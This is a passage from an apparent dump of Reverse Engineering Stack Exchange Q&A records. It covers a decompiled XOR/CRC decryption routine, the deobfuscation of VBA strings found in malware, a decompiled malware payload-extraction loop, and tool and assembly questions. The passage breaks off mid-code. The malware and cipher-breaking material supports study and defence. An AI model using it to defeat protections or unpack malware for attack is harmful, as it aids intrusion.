    //----- (00001354) --------------------------------------------------------\nint __fastcall doXor(int result, int a2_NI_source, int a3_NI_key, int a4_NI_unused_copy_source_last_byte, int a5_NI_length, int a6_NI_unused, char a7_NI_source_last_byte)\n{\n  int v7; // r5@1\n  int v8; // r6@1\n  int v9; // r7@1\n  int v10; // r1@1\n  char v11; // lr@3\n  char v12; // t1@3\n  char v13; // t1@3\n\n  v7_NI_source_pos = a2_NI_source - 1;\n  v8_NI_key_pos = a3_NI_key - 1;\n  v9_NI_result_pos = result - 1;\n  v10_NI_source_end_loc = a2_NI_source + a5_NI_length - 1;\n  while ( v7_NI_source_pos != v10_NI_source_end_loc )\n  {\n    // Ready bytes from v7_NI_source_pos and v8_NI_key_pos\n    v12 = *(_BYTE *)(v7_NI_source_pos++ + 1); // READ BYTE OF a2 + offset\n    v11 = v12;\n    v13 = *(_BYTE *)(v8_NI_key_pos++ + 1); // READ BYTE OF a2 + offset\n\n    // Xor two values and place in v9_NI_result_pos\n    *(_BYTE *)(v9_NI_result_pos++ + 1) = v11 ^ v13;\n  } // ====== so far this one just does a xor in the full array\n  //   ===>what does this one do?\n\n  // XOR LAST BYTE OF key with a7_NI_source_last_byte (see decryptData for code that retreives the byte)\n  *(_BYTE *)(result + a5_NI_length) = *(_BYTE *)(a3_NI_key + a5_NI_length) ^ a7_NI_source_last_byte;\n\n  return result;\n}\n
    \n\n

    Second, getNumber:

    \n\n

    This is never actually used, but generates a single byte of random data which is somewhat biased for sepcificaly the value 255 because casting a \"nonnegative long integer uniformly distributed between 0 and 2^31\" to a unsigned byte will, in most cases, yield a number above 255.

    \n\n

    time will return the current local time in seconds since Epoch, srand48 will seed the builtin PRNG with that result and lrand48 return the random number.

    \n\n
    //----- (00001384) --------------------------------------------------------\n// This is never used in provided code! :S\nint getNumber()\n{\n  __int32 v0; // r0@1\n\n  // Seed srand48 using current local time in seconds since Epoch\n  v0 = time(0);\n  srand48(v0);\n  // Return 1 byte integer casted from nonnegative long integer uniformly distributed between 0 and 2^31 \n  return (unsigned __int8)lrand48();\n}\n
    \n\n

    Third, getKey:

    \n\n

    [EDIT] A simple stream padding based on passed values. It is unclear what crc64 does and how are it's parameters used, but it appears as if it does not receive a buffer.\nThe low dword returned from crc64 is copied repeatedly to create the key sequence, and is used as the internal PRNG state. crc64 is there for the function creating the initial state, or the seed function for geyKey.\nIt has some decompliation bloat (that is, extra redundant C statements caused by the decompiler not doing the best job it could) but basically this function fills the requested buffer with the same value over and over.

    \n\n
    //----- (00001398) --------------------------------------------------------\nint __fastcall getKey(void *a1_NI_key_buffer, unsigned int a2_NI_key_length, unsigned __int8 a3, int a4_NI_unused, char a5)\n{\n  void *v5; // r8@1\n  unsigned int v6; // r7@1\n  unsigned int v7; // r10@1\n  void *v8; // r5@1\n  __int64 v9; // r0@1\n  signed int v10; // r6@1\n  __int64 v12; // [sp+8h] [bp-30h]@1\n  int v13; // [sp+14h] [bp-24h]@1\n\n  v5_NI_key_buffer = a1_NI_key_buffer;\n  v6_NI_key_length = a2_NI_key_length;\n  v7_NI_key_8byte_chunks = a2_NI_key_length >> 3;\n  v8_NI_key_buffer_pos = a1_NI_key_buffer;\n  v13_NI_stack_guard = _stack_chk_guard; //a stack guard\n  LODWORD(v9_NIl_partial_crc_state) = crc64(a3, (int)&a5, _stack_chk_guard, 8);\n  v10_NI_current_8byte_chunk = 0;\n  v12_NI_full_crc_state = v9_NIl_partial_crc_state;\n\n  // Loop on 8 byte long chunks of the required key length\n  do\n  {\n    // increase the counter for the current 8byte chunk we're using\n    ++v10_NI_current_8byte_chunk;\n\n    // If current 8byte chunk exceeds the required length\n    if ( 8 * v10_NI_current_8byte_chunk > v6_NI_key_length )\n    {\n      // If some bytes of the 8byte chunks are needed\n      if ( v6_NI_key_length >= 8 * v10_NI_current_8byte_chunk - 8 )\n      {\n        // Copy portion of v12_NI_full_crc_state needed to fill the buffer\n        LODWORD(v9_NIl_partial_crc_state) = memcpy(v8_NI_key_buffer_pos, &v12_NI_full_crc_state, (size_t)((char *)v5_NI_key_buffer + v6_NI_key_length - (_DWORD)v8_NI_key_buffer_pos));\n      }\n    }\n    else\n    {\n      // Set v9_NIl_partial_crc_state to the initial v12_NI_full_crc_state\n      v9_NIl_partial_crc_state = v12_NI_full_crc_state;\n      *(_QWORD *)v8_NI_key_buffer_pos = v12_NI_full_crc_state;\n    }\n    v8_NI_key_buffer_pos = (char *)v8_NI_key_buffer_pos + 8;\n  }while ( v10_NI_current_8byte_chunk <= (signed int)v7_NI_key_8byte_chunks );\n\n  // Make sure stack wasn't damaged in the process\n  if ( v13_NI_stack_guard != _stack_chk_guard )\n    _stack_chk_fail(v9_NIl_partial_crc_state);\n  return v9_NIl_partial_crc_state;\n}\n
    \n\n

    Last but not least, decryptData:

    \n\n

    This is where the magic happens, buy it's not too magical. Basically, the first byte is used to feed getKey with a state, togather with a4_NI_unknown_constant parameter passed to decryptData. These two bytes are what determines the entire getKey function.

    \n\n

    The last byte (treated strangly in doXor is used as a basic sanify/error detection byte and must result in the correct value for the message to be accepted and properly decrypted.

    \n\n
    //----- (000014E4) --------------------------------------------------------\nsigned int __fastcall decryptData(void *a1_NI_result, unsigned int *a2_NI_source, int a3_NI_length, int a4_NI_unknown_constant, __int64 a5)\n{\n  int v5; // r4@1\n  void *v6; // r11@1\n  unsigned int *v7; // r10@1\n  unsigned int v8; // r7@3\n  int v9; // r9@3\n  int v10; // ST10_4@3\n  void *v11; // r8@3\n  const void *v12; // r5@3\n  int v13; // r6@3\n  signed int result; // r0@5\n\n  v5_NI_length_copy = a3_NI_length;\n  v6_NI_result_copy = a1_NI_result;\n  v7_NI_source_copy = a2_NI_source;\n  if ( check == 1 )\n  {\n    if ( a5 )\n    {\n      result = 0;\n    }\n    else\n    {\n      v8_NI_source_first_byte = *(_BYTE *)a2_NI_source;\n      v9_NI_unknown_plus_first_byte = a4_NI_unknown_constant + v8_NI_source_first_byte;\n      v10_NI_source_last_byte = *((_BYTE *)a2_NI_source + a3_NI_length - 1);\n      v11_NI_key = malloc(a3_NI_length - 1);\n      v12_NI_temp_result = malloc(v5_NI_length_copy - 1);\n\n      // generate xor key based on:\n      // 1. length of data\n      // 2. unknown constant provided to decryptData as a4_NI_unknown_constant\n      // 3. first byte of encrypted string\n      getKey(v11_NI_key, (unsigned __int16)(v5_NI_length_copy - 1), v9_NI_unknown_plus_first_byte, (2596069104u * (unsigned __int64)v8_NI_source_first_byte >> 32) + 305419896 * v8_NI_source_first_byte, -16 * v8_NI_source_first_byte);\n      v13_result_length = v5_NI_length_copy - 2;\n\n      // XOR\n      doXor((int)v12_NI_temp_result, (int)((char *)v7_NI_source_copy + 1), (int)v11_NI_key, v10_NI_source_last_byte, v13_result_length, (unsigned __int64)v13_result_length >> 32, v10_NI_source_last_byte);\n\n      // Copy result from v12_NI_temp_result to user provided reulst buffer v6_NI_result_copy\n      memcpy(v6_NI_result_copy, v12_NI_temp_result, v5_NI_length_copy - 2);\n\n      // If last byte in v12_NI_temp_result is not the same as v9_NI_unknown_plus_first_byte, return Null\n      if ( *((char *)v12_NI_temp_result + v5_NI_length_copy - 2) != v9_NI_unknown_plus_first_byte )\n        v13_result_length = 0;\n\n      // If key allocated, free it\n      if ( v11_NI_key )\n        free(v11_NI_key);\n\n      // Free v12_NI_temp_result\n      free((void *)v12_NI_temp_result);\n\n      // return v13_result_length\n      result = v13_result_length;\n    }\n  }\n  else\n  {\n    result = -1;\n  }\n  return result;\n}\n
    \n\n

    Finally, sepcific answers to your questions:

    \n\n
      \n
    1. The length of the seed is a single byte, as generated in getNumber and used for key generation in getKey. It is used at getKey by expanding it and the other arguments calculated based on v9_NI_unknown_plus_first_byte to generate a QWORD.
      2. \n
    2. For that you'll need to further RE the crc64 function. Sorry about that. But understanding the getKey function better makes it possible to use another (more interesting) approach to decrypting streams of data. Since we now know the \"key\" is an 8byte sequeces used repeatedly, every known byte of the original message reveals all other bytes at the same 8byte offset. Messages with fixed headers, or known types of data (textual, for example) reveal a lot of information about the xor key.
      3. \n
    3. I have no idea what's the actual content of the data, nor how to interpret it. That is required in order to validate the type and use. You should gather enough sample sets, decrypt them and see if they look like valid latitude/longitude values.
      4. \n
    \n\n

    I think the best way for you to proceed now is implementing a simulator that receives a message and tries to decrypt it using the information above. I may have made mistakes or overlooked some small details, but those will be eaier to identify by seeing errors in the produced decryption and following up on those.

    \n" }, { "Id": "13411", "CreationDate": "2016-09-02T06:46:08.380", "Body": "

    I'm looking for projects providing reconstructed Control Flow Graphs from binaries while supporting more than one platform (e.g. x86, x64, arm). For example, considering this short assembler program:

    \n\n
    .global main\n.intel_syntax noprefix\n\n.extern getchar\n.extern printf\n\n.section .data\njmpTable:\n    .long _stub0\n    .long _stub1\n    .long _stub2\nfmt: .asciz \"%x\\n\"\n\n\n.section .text\n\nmain:\n    call getchar\n    mov dl, 4\n    imul dl\n    add eax, offset jmpTable\n    jmp [eax]\n    .long 3851\n_stub0:\n    mov eax, 0\n    jmp end\n    .long 3851\n_stub1:\n    mov eax, 1\n    jmp end\n    .long 3851\n_stub2:\n    mov eax, 2\n    jmp end\n    .long 3851\nend:\n    push eax\n    push offset fmt\n    call printf\n    add esp, 8\n    ret\n
    \n\n

    Projects I've considered:

    \n\n\n\n

    rather obvious choice, still, exporting a interprocedural CFG is still a pain. Also, although it is able to find all basic blocks of this example, it misses all indirect edges.

    \n\n

    The projects should offer come kind of API to provide the cfg. I know solving this problem with static-analysis alone may be infeasible. I'm looking for a best-effort approach.

    \n", "Title": "Control flow graph reconstruction projects", "Tags": "|disassembly|binary-analysis|static-analysis|control-flow-graph|", "Answer": "

    I think Radare2's 'agj' command only extract function call graph, which is different from CFG(control flow graph where a node represent a basic block).

    \n" }, { "Id": "13422", "CreationDate": "2016-09-03T12:53:55.627", "Body": "

    I'm trying to figure out this encoding in malware.. All I have are the static strings..

    \n\n

    I was able to figure one out so there is plaintext on one:

    \n\n
    e-snAetgrU$\n
    \n\n

    translates to

    \n\n
    $User-Agent\n
    \n\n

    Here are some other strings from the same malware if it helps. I've tried 16/32 byte swaps and tried looking at the delta between the plaintext character index and the encoded one..

    \n\n
    rdcTNIOemr$\nMyNonASUo\nuCoDL\nMaNOza$\n.eiCeShdPH$\nETSOHD$\nRRNIootP$\n
    \n", "Title": "Unkown Swap Encoding", "Tags": "|obfuscation|encryption|binary-diagnosis|", "Answer": "

    googling for e-snAetgrU yields the VBA Macros
    \njust copy paste the macros into a VBA module in word/excel/
    \ninsert a few Msgbox() and you can decrypt all the strings

    \n\n

    the unobfuscation is as follows

    \n\n
    obf_str       = \"e-snAetgrU\"\nobf_str_len   = len(obf-str)   == 10\nredherr       = 1\ni = 0\n\nd(69, 43, obf_str)\n\nrand = arg1  == 69\n\nREPEAT:\n\nChar_Choice_num = ( arg1 - (obf_str_len * (arg1 \\ obf_str_len) )) ==\n(69,52 - (10 * (69,52\\10 == 6,5) == 60,50) ==) {9,2,5,8}\n\nunobf_str[i++] = obf_str[Char_Choice_num+redherr] == obf_str[10,3,6,9] = 'U,s,e,r'\n\nrand = Char_Choice_num+arg2  ==  52,45,48,51\n\ngoto REPEAT Until Len (obfxx) == len(unobfyy)\n
    \n\n

    \"enter

    \n" }, { "Id": "13428", "CreationDate": "2016-09-04T10:22:00.593", "Body": "

    In the pursuit and development of malware detection algorithms, often a big sample set of both malicious and benign samples is required. Both machine learning or similar automated techniques, as well as manual or partially manual signature generation, often require a good and varied example set of benign samples that are commonly mistaken as malicious.

    \n\n

    Those samples are usually being automatically analyzed and then provided to a Reverse Engineer for further scrutiny, analysis and improvement of said malware detection algorithm.

    \n\n

    Although finding malicious samples is frequently discussed (see multiple questions), discussion about benign sample sources seems lacking.

    \n\n

    What are good benign sample repositories/feeds, preferably focused on potential/frequent false positive samples? Other sources or \"retrival methods\" (scraping) are also welcome!

    \n", "Title": "Where can I find benign samples with a high potential to false positive?", "Tags": "|malware|benign|", "Answer": "

    Some of the techniques i've also came up with, for the sake of completeness (I won't accept my own answer):

    \n\n

    download from github

    \n\n

    Some Github repositories have multiple executables either as needed utilities or as build output. Scanning Github for those using a GithubDownloader proved being slow but effective, and I results are really likely to be benign.

    \n\n

    collect all executables/hashes from accessible machines

    \n\n

    Since I'm doing this as part of my job, I'm able to ask the IT department to collect hashes and samples from the multiple machines we have at my office. This was a good way to collect many executables for multiple versions of OSes with ease. Collecting hashes and downloading the ones available from VT was also a possibility (perhaps after further scrutiny).

    \n" }, { "Id": "13439", "CreationDate": "2016-09-06T09:05:46.347", "Body": "

    Would it be legal to decompile and/or reverse engineer a commercial java JAR file to view the inner workings of a library in order to write original code for use with the library in the EU or UK?

    \n", "Title": "Are the EU laws preventing reverse engineering of software products?", "Tags": "|decompilation|law|", "Answer": "

    IANAL; If this is done by a company, you need to consult a lawyer that specializes in the field of computer law before taking any action.

    \n\n

    Most reverse engineering restrictions actually come from the EULA/Terms of service and other contractual binding agreements between the software provider and the user.

    \n\n

    Often times Clean room methodologies are used to circumvent any limitations imposed by the software provider. That is where the reverse engineer(s) create a so-called \"requirements document\" and avoid any code/design tasks, which are performed independently by designated developers whom never performed reverse engineering on target or related products. That way there was no reverse engineering done to a program in the process of producing the \"original code\" of the replica.

    \n\n

    Because no knowledge of the original invention is used while creating the replica implementation (note the subtle difference, as knowledge is used while defining the requirements) the clean room approach is a valid approach to circumvent copyright infringement but cannot be bypass patent law.

    \n\n

    According to Wikipedia EU Directive 2009/24, is the most relevant to the question of legality of reverse engineering under EU laws. Keep in mind any contractual agreements with the software company will also affect the legality of reverse engineering their software (and such actions are usually explicitly forbidden there).

    \n\n

    This is the excerpt from EU Directive 2009/24:

    \n\n
    \n

    (15) The unauthorised reproduction, translation, adaptation or transformation of the form of the code in which a copy of a computer program has been made available constitutes an infringement of the exclusive rights of the author. Nevertheless, circumstances may exist when such a reproduction of the code and translation of its form are indispensable to obtain the necessary information to achieve the interoperability of an independently created program with other programs. It has therefore to be considered that, in these limited circumstances only, performance of the acts of reproduction and translation by or on behalf of a person having a right to use a copy of the program is legitimate and compatible with fair practice and must therefore be deemed not to require the authorisation of the right-holder. An objective of this exception is to make it possible to connect all components of a computer system, including those of different manufacturers, so that they can work together. Such an exception to the author's exclusive rights may not be used in a way which prejudices the legitimate interests of the rightholder or which conflicts with a normal exploitation of the program.

    \n
    \n\n

    This EFF FAQ is also a good start, although I think it mostly addressed USA laws, some of the recommendations are of value anywhere around the globe.

    \n" }, { "Id": "13449", "CreationDate": "2016-09-07T10:09:25.140", "Body": "

    I need to determine whether an IDA's item is code or data.\nSometimes, data resides in an executable's code section (virtual functions tables, switch tables and stuff).\nSo in IDA, you can sometimes see this stuff in the code section:

    \n\n
    .text:100A1424     aInternetfreepr db 'InternetFreeProxyInfoList',0\n.text:100A1424                                             ; DATA XREF: .text:10038688o\n.text:100A143E                     align 10h\n.text:100A1440     aInternetfreeco db 'InternetFreeCookies',0 ; DATA XREF: .text:10038680o\n.text:100A1454     aInternetfortez db 'InternetFortezzaCommand',0\n.text:100A1454                                             ; DATA XREF: .text:10038678o\n
    \n\n

    is there a method I can call to defer between code and data using only the EA?

    \n\n

    Thanks in advance.

    \n", "Title": "idapython - Determine if item is code or data", "Tags": "|ida|disassembly|idapython|python|disassemblers|", "Answer": "

    Additionally, you can use Sark to get it done:

    \n\n\n\n
    import sark\n\n# For current line\nsark.Line().is_code\n\n# For specific line\nsark.Line(ea).is_code\n
    \n\n

    Note: I am the creator of Sark.

    \n" }, { "Id": "13454", "CreationDate": "2016-09-07T19:30:20.580", "Body": "

    I am trying to use IDA python to get a list of all variables in .data section because I want to extract a list of cross references to each global variables from IDA.\nIs it possible to do this with IDA python?

    \n", "Title": "Get a list of global variables with IDA python", "Tags": "|ida|idapython|", "Answer": "

    Although Sark is a good library/tool, if you're only looking for a small utility script you might want to avoid the overhead of installing it. I do recommend you give it a try regardless.

    \n\n

    The following code will do just that without using any third party code:

    \n\n
    # get segment start and end EA by name\nidata_seg_selector = idc.SegByName('.data')\nidata_seg_startea = idc.SegByBase(idata_seg_selector)\nidata_seg_endea = idc.SegEnd(idata_seg_startea)\n\n# iterate EAs in range\nfor seg_ea in range(idata_seg_startea, idata_seg_endea):\n  # iretate xrefs to specific ea\n  for xref in idautils.xrefsto(ea):\n    print(\"Found a cross reference {}: from {} to '.idata' variable {}\".format(xref, xref.frm, seg_ea))\n
    \n\n

    Gotaches:

    \n\n\n" }, { "Id": "13463", "CreationDate": "2016-09-08T09:16:35.133", "Body": "

    I'm studying x86 architecture and assembly in order to have the bases for studying reversing and exploit development. I'm following a course on opensecuritytraining.info.

    \n\n

    I see a Hello World example:

    \n\n
    push ebp\nmov ebp, esp\npush offset aHelloWorld; \"Hello world\\n\"\ncall ds:__imp__printf\nadd esp, 4\nmov eax, 1234h\npop ebp\nretn\n
    \n\n

    This code was generated by Windows Visual C++ 2005 with buffer overflow protection turned off and disassembled with IDA Pro 4.9 Free Version.

    \n\n

    I'm trying to understand what each line does.

    \n\n

    the first line is push ebp.

    \n\n

    I know ebp stands for base pointer. What is its function?

    \n\n

    I see that in the second line the value in esp is moved into ebp and searching online I see that there first 2 instructions are very common at the beginning of an assembly program.

    \n\n

    Though are ebp and esp empty at the beginning? I'm new to assembly. Is ebp used for stack frames, so when we have a function in our code and is it optional for a simple program?

    \n\n

    Then push offset aHelloWorld; \"Hello world\\n\"

    \n\n

    The part after ; is a comment so it doesn't get executed right? The first part instead adds the address containing the string Hello World to the stack, right? But where is the string declared? I'm not sure I understand.

    \n\n

    Then call ds:__imp__printf

    \n\n

    it seems it's a call to a function, anyway printf is a builtin function right?\nAnd does ds stand for data segment register? Is it used because we are trying to access a memory operand that isn't on the stack?

    \n\n

    then add esp, 4

    \n\n

    do we add 4 bytes to esp? Why?

    \n\n

    then move eax, 1234h what is 1234h here?

    \n\n

    then pop ebx..it was pushed at the beginning. is it necessary to pop it at the end?

    \n\n

    then retn ( i knew about ret for returning a value after calling a function). I read that the n in retn refers to the number of pushed arguments by the caller. It isn't very clear for me.\nCan you help me to understand?

    \n", "Title": "Understanding assembly Hello World", "Tags": "|assembly|", "Answer": "

    first up: I would recommend you to try and write some simple assembly programs or use an intermediate representation like REIL to get a hang of it (REIL has only ~17 instructions).

    \n\n
    push ebp\nmov ebp, esp\n
    \n\n

    The first two lines build the stack frame. As you correctly mentioned, ebp describes the current stack frame. So when this function is called from another function, is saves the previous base pointer on the stack to be able to restore it when the function returns. When the value is saved, the function assignes the current location on the stack to be the new base pointer for this fuction.

    \n\n

    This assignments are called function prolog and are common among different disassembleres. Mainly the ebp is used to reference function arguments, while the esp can be modified freely (by pushing variables on the stack, etc.)

    \n\n
    push offset aHelloWorld; \"Hello world\\n\" \n
    \n\n

    This function pushes the address of the String \"Hello world\\n\" on the stack. The comment at the end is just for convenience matters. Please note pushing something on the stack modifies esp by the (byte-size) of the given value. In this case 4 for x32 and 8 for x64 references (esp=esp-4).

    \n\n
    call ds:__imp__printf\n
    \n\n

    This call does not directly jump to the function, because the function is loaded dynamically and the code does not know where the function is located in the address space. So it calls a reference to the location, which is the \"jump table\" or in this case rather \"import table\". When a binary is loaded, the systems loader ensures that it loads the dependencies and leaves the correct addresses for the program to use there. (imp stands for \"import\").

    \n\n
    add esp, 4\n
    \n\n

    Based on the calling convention (how are arguments passed? who cleans them from the stack?) printf does not clean up its stack before returning. So the calling function must do it itself. It adds 4 to the stack pointer to revert the changes from the push instruction (which subtracted 4 from esp implicitly).

    \n\n
    mov eax, 1234h\n
    \n\n

    Nothing special here. The value 0x1234 is moved to the register eax (apparently for no reason). I assume this is the return value of the program (unix convention is to return 0 in eax if there was no failure).

    \n\n
    pop ebp\n
    \n\n

    This instruction reads the former value of ebp from the stack and stores it in ebp again. Please note you must keep track of the order in which things were pushed on the stack (Last-In-First-Out). Note that this instruction also adds 4 to the esp implicitly.

    \n\n
    retn\n
    \n\n

    Resume execution at the location at the current esp. When a function is called, the calling fucntion pushes the address to return to on the stack. Also, this function adds 4 to esp to 'remove' the address from the stack.

    \n" }, { "Id": "13465", "CreationDate": "2016-09-08T13:44:15.487", "Body": "

    I'm trying to extract this firmware to check whats inside, but can't find how to tackle this file. I was only able to extract and read PNG image.

    \n\n

    Binwalk scan:

    \n\n
    DECIMAL     HEX         DESCRIPTION\n-------------------------------------------------------------------------------------------------------\n199536      0x30B70     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 392072 bytes\n348272      0x55070     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 10362880 bytes\n994916      0xF2E64     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 10211328 bytes\n3911705     0x3BB019    LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 220534 bytes\n4078426     0x3E3B5A    LZMA compressed data, properties: 0x03, dictionary size: 65536 bytes, uncompressed size: 1 bytes\n4078457     0x3E3B79    LZMA compressed data, properties: 0x03, dictionary size: 65536 bytes, uncompressed size: 1 bytes\n4092314     0x3E719A    LZMA compressed data, properties: 0x40, dictionary size: 4194304 bytes, uncompressed size: 16384 bytes\n4098794     0x3E8AEA    LZMA compressed data, properties: 0x40, dictionary size: 4194304 bytes, uncompressed size: 16384 bytes\n4100954     0x3E935A    LZMA compressed data, properties: 0x40, dictionary size: 4194304 bytes, uncompressed size: 16384 bytes\n4103114     0x3E9BCA    LZMA compressed data, properties: 0x40, dictionary size: 4194304 bytes, uncompressed size: 16384 bytes\n4105274     0x3EA43A    LZMA compressed data, properties: 0x40, dictionary size: 4194304 bytes, uncompressed size: 16384 bytes\n4121895     0x3EE527    LZMA compressed data, properties: 0x0C, dictionary size: 4194304 bytes, uncompressed size: 50 bytes\n4141086     0x3F301E    TIFF image data, big-endian\n4141279     0x3F30DF    LZMA compressed data, properties: 0x04, dictionary size: 16777216 bytes, uncompressed size: 196608 bytes\n4141359     0x3F312F    LZMA compressed data, properties: 0x04, dictionary size: 16777216 bytes, uncompressed size: 520683520 bytes\n4145070     0x3F3FAE    LZMA compressed data, properties: 0x0C, dictionary size: 16777216 bytes, uncompressed size: 61503 bytes\n4263936     0x411000    PNG image, 924 x 520, 8-bit/color RGBA, non-interlaced\n
    \n\n

    How to tackle this binary? Is it even possible to get everything from it?

    \n\n

    Firmware file is here if someone what to try it.

    \n", "Title": "Extracting firmware BIN file", "Tags": "|firmware|binary|", "Answer": "

    Binwalk performed a good work in this firmware file, but found too much parts. It worth to know, that Binwalk identifies types based on magic IDs and some other properties. In a typical firmware the parts are stored in compressed and may be in encrypted form. It means, there are some high entropy parts, which possible will not contain any known file type magic ID.

    \n\n

    If you see the firmware file with a hex editor, you may see that it contains distinct parts (separated by a lots of 00 or FF bytes):

    \n\n
    0x1000-0x55000: Seems to be a bootloader started with an executable part, which was followed by a compressed part from 0x8000.\n0x55000-0x3B984F: Main program\n0x3B99EC: Various data parts\n
    \n\n

    In general firmware parts starts with a header, so let's see the header of the main program:

    \n\n

    \"Main

    \n\n

    I marked the part name with blue, the size of the part with green and the LZMA header with yellow. As you can see the LZMA header contains the decompressed size (0x9e2000 = 10362880), but does not contain the compressed size. So, without any knowledge of the header, you can not determine the end of the compressed data, but only guess (for example from the entropy).

    \n\n

    We found the main program part, but Binwalk gave a lot more results, so let's check whether other LZMA parts are valid (I changed the description in the original result).

    \n\n
    DECIMAL     HEX         DESCRIPTION\n-------------------------------------------------------------------------------------------------------\n199536      0x30B70     Valid LZMA compressed data containing part of the bootloader or OTA loader\n348272      0x55070     Valid LZMA compressed data containing part of the main program\n994916      0xF2E64     Valid LZMA compressed data containing other part of the main program\n3911705     0x3BB019    Valid LZMA compressed data\n4078426     0x3E3B5A    Not LZMA compressed data\n4078457     0x3E3B79    Not LZMA compressed data\n4092314     0x3E719A    Not LZMA compressed data\n4098794     0x3E8AEA    Not LZMA compressed data\n4100954     0x3E935A    Not LZMA compressed data\n4103114     0x3E9BCA    Not LZMA compressed data\n4105274     0x3EA43A    Not LZMA compressed data\n4121895     0x3EE527    Not LZMA compressed data\n4141086     0x3F301E    TIFF image data, big-endian\n4141279     0x3F30DF    Not LZMA compressed data\n4141359     0x3F312F    Not LZMA compressed data\n4145070     0x3F3FAE    Not LZMA compressed data\n4263936     0x411000    PNG image, 924 x 520, 8-bit/color RGBA, non-interlaced\n
    \n\n

    So, Binwalk identified correctly the first four LZMA compressed part and I think it extracted correctly also. Other parts marked with LZMA compressed data are false positives, because it is an uncompressed data area, which contains low entropy data, which sometimes similar to an LZMA header.

    \n\n

    I'd like to draw your attention to the part started at 0xf2e64. As I stated previously this area should be in the main part based on the header analysis. However, there is a separated compressed part after the first compressed image. If you check the header again, there is the offset of this second part at 0x55028. So, it seems that the main image contains at least two separate parts.

    \n" }, { "Id": "13467", "CreationDate": "2016-09-08T17:48:51.980", "Body": "

    VirtualProtect is straightforward but I get some results that I can't explain. Something's going on in the background probably but I'd like to know what.

    \n\n

    The following is under Windows 7 SP1 Ultimate x64, using a DLL compiled for Windows 10 by VS 2015. The DLL modifies some other DLL in memory.\nThe result DLL was working fine under Win 7 but it was crashing under Win 10 (no dump produced). So I started following the code in case it was something obvious.

    \n\n

    The code that looked strange, is the following (in pseudocode):

    \n\n
    if (VirtualProtect(BaseAddr, BaseSize, PAGE_EXECUTE_READWRITE, &dwProtect) == 0)\n        {\n            GetLastError());\n            goto _exit;\n        }\n
    \n\n

    At this point, the new protection should be 0x40 (PAGE_EXECUTE_READWRITE).\nThe current protection that comes back in dwProtect is 0x2 (PAGE_READONLY).

    \n\n

    ...some more code here that writes data in the modified memory block...

    \n\n
    _exit:\nif (VirtualProtect(BaseAddr, BaseSize, PAGE_EXECUTE_READWRITE, &dwProtect) == 0)\n            {\n                GetLastError());\n            }\n
    \n\n

    At this point, the dwProtect gets the value 0x80 !! Why? Shouldn't it be 0x40 ?

    \n\n

    If on the second call I try to restore the original value (0x2) by passing the saved dwProtect, it still doesn't return 0x40. (I think it returned 0x4).\nI even tried setting it to 0x80 on the first call. It came back the same (0x80). It didn't double it but the DLL would crash.

    \n\n

    The question is, why on the second call, it doesn't return back the value I set it to on the first call.

    \n\n

    Thanks in advance for any clarification.

    \n", "Title": "VirtualProtect return value", "Tags": "|memory|exploit|patching|", "Answer": "

    This seems to be working as intended.

    \n

    Flag 0x80 is PAGE_EXECUTE_WRITECOPY. You can look it up in msdn.

    \n
    \n

    If a memory page with the "PAGE_EXECUTE_READWRITE" access protection attributes is requested from the OS, then a page with the "PAGE_EXECUTE_WRITECOPY" attributes, not the "PAGE_EXECUTE_READWRITE" attributes is given.

    \n

    The reason for that behavior is so simple, that is, the OS memory manager wants to physically share the page between all the process instances (since it is guaranteed to be the same in all the process instances before any write).

    \n
    \n

    Find the full source here, copyright to Walied Assar

    \n" }, { "Id": "13475", "CreationDate": "2016-09-09T12:17:26.873", "Body": "

    I am trying to reverse engineer a malware, and came across a piece of code that I suspect is an encryption/decryption procedure, however I do not know for sure. I can recognize that it extracts its payload from it's own .rsrc section.\n I scanned this algorithm with FindCrypt and IDAScope, Both plugins failed identifying it as a cryptographic algorithm.

    \n\n

    I am not familiar with cryptographic algorithms. What are some good indications of code being an encryption or decryption algorithm, and what indications rule it out?

    \n\n

    The extraction algorithm is(generated by IDA):

    \n\n
    int __stdcall sub_9001320(int a1, unsigned int a2, int a3)\n{\n// a1 = a3 = 0x09003000\n// a2 = 0x7600\n\n\n\n  int result; // eax@2\n  char v4; // al@23\n  unsigned int l; // [sp+4h] [bp-4Ch]@33\n  unsigned int k; // [sp+10h] [bp-40h]@19\n  unsigned int v7; // [sp+14h] [bp-3Ch]@19\n  int v8; // [sp+18h] [bp-38h]@40\n  signed int j; // [sp+1Ch] [bp-34h]@13\n  unsigned int v10; // [sp+20h] [bp-30h]@5\n  unsigned int i; // [sp+24h] [bp-2Ch]@5\n  unsigned int v12; // [sp+28h] [bp-28h]@5\n  unsigned int v13; // [sp+2Ch] [bp-24h]@5\n  signed int v14; // [sp+30h] [bp-20h]@13\n  unsigned int v15; // [sp+34h] [bp-1Ch]@5\n  unsigned int v16; // [sp+38h] [bp-18h]@5\n  unsigned __int8 v17; // [sp+3Fh] [bp-11h]@5\n  signed int v18; // [sp+40h] [bp-10h]@5\n  _DWORD *lpAddress; // [sp+44h] [bp-Ch]@11\n  unsigned int v20; // [sp+48h] [bp-8h]@13\n  unsigned int v21; // [sp+4Ch] [bp-4h]@16\n\n  if ( a2 > 0xC )\n  {\n    if ( *(_DWORD *)a1 == 1083581807 )\n    {\n      v16 = sub_9001300(a1);\n      v18 = 12;\n      v17 = 0;\n      v15 = 9;\n      v12 = 256;\n      v13 = 256;\n      v10 = 8 * a2 - 96;\n      for ( i = 9; v10 >= i; v10 -= i )\n      {\n        if ( i != 12 && v13 == 1 << i )\n          ++i;\n        ++v13;\n      }\n      lpAddress = VirtualAlloc(0, 0xC000u, 0x1000u, 4u);\n      if ( lpAddress )\n      {\n        v20 = 0;\n        v14 = 256;\n        for ( j = 0; j <= 255; ++j )\n        {\n          lpAddress[3 * j] = 0;\n          lpAddress[3 * j + 2] = 0;\n          lpAddress[3 * j + 1] = 1;\n        }\n        v21 = 0;\n        while ( v21 < v16 && v12 < v13 )\n        {\n          v7 = 0;\n          for ( k = 0; k < v15; ++k )\n          {\n            if ( (1 << (7 - (v17 + 8 * v18) % 8)) & *(_BYTE *)(a1 + (v17 + 8 * v18) / 8) )\n              v7 |= 1 << k;\n            v4 = (v17 + 1) % 8;\n            v17 = (v17 + 1) % 8;\n            if ( !v4 )\n              ++v18;\n          }\n          if ( v7 > 0xFF )\n          {\n            if ( v20 < 0xF00 && v7 > v20 + 255 )\n              return 